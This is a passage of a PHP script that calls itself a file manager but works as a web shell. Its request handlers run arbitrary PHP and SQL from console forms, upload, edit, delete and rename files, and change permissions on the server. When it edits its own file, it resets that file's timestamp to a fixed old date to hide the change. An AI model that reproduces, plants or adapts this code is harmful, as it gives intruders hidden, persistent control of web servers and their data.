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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

